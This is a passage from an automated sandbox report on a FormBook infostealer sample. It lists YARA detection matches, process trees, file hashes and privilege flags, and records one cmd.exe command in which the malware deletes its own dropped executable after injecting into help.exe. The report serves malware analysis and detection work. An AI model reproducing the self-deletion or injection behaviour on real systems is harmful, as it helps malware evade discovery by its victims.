Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Start time: 17:58:09

Start date: 10/06/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline:

Imagebase: 0x7ff6fee60000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 17:58:45

File ReadFile Read

Analysis Process: explorer.exe PID: 3424 Parent PID: 4484Analysis Process: explorer.exe PID: 3424 Parent PID: 4484

General

Analysis Process: help.exe PID: 6296 Parent PID: 4484Analysis Process: help.exe PID: 6296 Parent PID: 4484

General
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File ActivitiesFile Activities

Start date: 10/06/2021

Path: C:\Windows\SysWOW64\help.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\help.exe

Imagebase: 0xf90000

File size: 10240 bytes

MD5 hash: 09A715036F14D3632AD03B52D1DA6BFF

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 17:58:47

Start date: 10/06/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\Desktop\SKlGhwkzTi.exe'

Imagebase: 0x11d0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

File ReadFile Read

Analysis Process: cmd.exe PID: 7140 Parent PID: 6296Analysis Process: cmd.exe PID: 7140 Parent PID: 6296

General

Analysis Process: conhost.exe PID: 6932 Parent PID: 7140Analysis Process: conhost.exe PID: 6932 Parent PID: 7140
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Joe Sandbox Cloud Basic 32.0.0 Black Diamond

Disassembly

Code Analysis

Copyright Joe Security LLC

Start time: 17:58:48

Start date: 10/06/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff724c50000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

General
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